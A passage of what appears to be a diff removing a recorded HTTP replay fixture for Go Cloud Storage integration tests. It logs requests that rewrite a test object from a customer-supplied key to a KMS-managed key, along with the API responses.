Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqRTb3RtqG1gIL-ENbVZC8nWKRHapQP78uVzv4yyL2t7N8cA5jEBWa014iJALicWO06KthvAMPLctgZCJ2UvPqo72IO4_LheEfTr13-_h43M-roUyc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jc2VrLzE1NTY4MzU5Nzc2ODEwNTYiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jc2VrIiwibmFtZSI6ImNzZWsiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk3NzY4MTA1NiIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoxNy42ODBaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MTcuNjgwWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE3LjY4MFoiLCJzaXplIjoiOSIsIm1kNUhhc2giOiJBQVBRUzQ2VHJuTVlucWlLQWJhZ3RRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3Nlaz9nZW5lcmF0aW9uPTE1NTY4MzU5Nzc2ODEwNTYmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3Nlay8xNTU2ODM1OTc3NjgxMDU2L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NzZWsvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNzZWsiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk3NzY4MTA1NiIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDS0N4c2Z2eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3Nlay8xNTU2ODM1OTc3NjgxMDU2L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jc2VrL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3NlayIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTc3NjgxMDU2IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0tDeHNmdngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NzZWsvMTU1NjgzNTk3NzY4MTA1Ni9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3Nlay9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNzZWsiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk3NzY4MTA1NiIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDS0N4c2Z2eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3Nlay8xNTU2ODM1OTc3NjgxMDU2L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jc2VrL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3NlayIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTc3NjgxMDU2IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0tDeHNmdngvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJVSTc4NUE9PSIsImV0YWciOiJDS0N4c2Z2eC9lRUNFQUU9IiwiY3VzdG9tZXJFbmNyeXB0aW9uIjp7ImVuY3J5cHRpb25BbGdvcml0aG0iOiJBRVMyNTYiLCJrZXlTaGEyNTYiOiJJbzRsbk9QVStFVGhPMFgwbnE3bU5FWEIxcld4WnNCSTRMMzdwQm15ZkRjPSJ9fQ==" - } - }, - { - "ID": "6da27052d0dabd22", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/csek/rewriteTo/b/go-integration-test-20190502-80633403432013-0001/o/cmek?alt=json\u0026destinationKmsKeyName=projects%2Fdeklerk-sandbox%2Flocations%2Fglobal%2FkeyRings%2Fgo-integration-test%2FcryptoKeys%2Fkey1\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ], - "X-Goog-Copy-Source-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Copy-Source-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Copy-Source-Encryption-Key-Sha256": [ - "Io4lnOPU+EThO0X0nq7mNEXB1rWxZsBI4L37pBmyfDc=" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3372" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:18 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpKmOV156VWN4edUkrNip1urAj8WTpDcgGTS520rVGilFT71KrZLZQxUMKloxtxKx5R6V9pUvIqYym68P8lQ8RSc5rEE_D1KlH-NyPgybiPERbxYZ4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNyZXdyaXRlUmVzcG9uc2UiLCJ0b3RhbEJ5dGVzUmV3cml0dGVuIjoiOSIsIm9iamVjdFNpemUiOiI5IiwiZG9uZSI6dHJ1ZSwicmVzb3VyY2UiOnsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY21lay8xNTU2ODM1OTc4MTI2NDc3Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY21layIsIm5hbWUiOiJjbWVrIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NzgxMjY0NzciLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MTguMTI2WiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE4LjEyNloiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoxOC4xMjZaIiwic2l6ZSI6IjkiLCJtZDVIYXNoIjoiQUFQUVM0NlRybk1ZbnFpS0FiYWd0UT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NtZWs/Z2VuZXJhdGlvbj0xNTU2ODM1OTc4MTI2NDc3JmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NtZWsvMTU1NjgzNTk3ODEyNjQ3Ny9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jbWVrL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjbWVrIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NzgxMjY0NzciLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0kzSnpQdngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NtZWsvMTU1NjgzNTk3ODEyNjQ3Ny9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY21lay9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNtZWsiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk3ODEyNjQ3NyIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNJM0p6UHZ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jbWVrLzE1NTY4MzU5NzgxMjY0NzcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NtZWsvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjbWVrIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NzgxMjY0NzciLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0kzSnpQdngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NtZWsvMTU1NjgzNTk3ODEyNjQ3Ny91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY21lay9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNtZWsiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk3ODEyNjQ3NyIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNJM0p6UHZ4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiVUk3ODVBPT0iLCJldGFnIjoiQ0kzSnpQdngvZUVDRUFFPSIsImttc0tleU5hbWUiOiJwcm9qZWN0cy9kZWtsZXJrLXNhbmRib3gvbG9jYXRpb25zL2dsb2JhbC9rZXlSaW5ncy9nby1pbnRlZ3JhdGlvbi10ZXN0L2NyeXB0b0tleXMva2V5MS9jcnlwdG9LZXlWZXJzaW9ucy8xIn19" - } - }, - { - "ID": "6ff8a4be1ed6bda3", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/cmek", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "9" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:26:18 GMT" - ], - "Etag": [ - "\"-CI3JzPvx/eECEAE=\"" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:26:18 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Encryption-Kms-Key-Name": [ - "projects/deklerk-sandbox/locations/global/keyRings/go-integration-test/cryptoKeys/key1/cryptoKeyVersions/1" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:26:18 GMT" - ], - "X-Goog-Generation": [ - "1556835978126477" - ], - "X-Goog-Hash": [ - "crc32c=UI785A==", - "md5=AAPQS46TrnMYnqiKAbagtQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "9" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqDR7RHLf_CQraIBM5Z3vCUxSJndE0E6FBOLFBqmYvMntnrQyVIfxwuTE6BtHL4b8oQszU6rIycc72JMUjiGRM_XoGdjsk-WhsbBmL_3c3x5H1s4bs" - ] - }, - "Body": "bXkgc2VjcmV0" - } - }, - { - "ID": "51f1995364e644ed", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/cmek?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3271" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:18 GMT" - ], - "Etag": [ - "CI3JzPvx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpM1hbkOXC-oSxvoqjP8s2MpxREJEpzVp2TTYj-6B8467MLYSA-yrWs9UoGwRGQUCJTR76e-qAmQnbzGsFGT31Kc3qjevb8SM0MynLHL9GhOMkm72w" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jbWVrLzE1NTY4MzU5NzgxMjY0NzciLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jbWVrIiwibmFtZSI6ImNtZWsiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk3ODEyNjQ3NyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoxOC4xMjZaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MTguMTI2WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE4LjEyNloiLCJzaXplIjoiOSIsIm1kNUhhc2giOiJBQVBRUzQ2VHJuTVlucWlLQWJhZ3RRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY21laz9nZW5lcmF0aW9uPTE1NTY4MzU5NzgxMjY0NzcmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY21lay8xNTU2ODM1OTc4MTI2NDc3L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NtZWsvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNtZWsiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk3ODEyNjQ3NyIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDSTNKelB2eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY21lay8xNTU2ODM1OTc4MTI2NDc3L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jbWVrL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY21layIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTc4MTI2NDc3IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0kzSnpQdngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NtZWsvMTU1NjgzNTk3ODEyNjQ3Ny9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY21lay9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNtZWsiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk3ODEyNjQ3NyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDSTNKelB2eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY21lay8xNTU2ODM1OTc4MTI2NDc3L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZ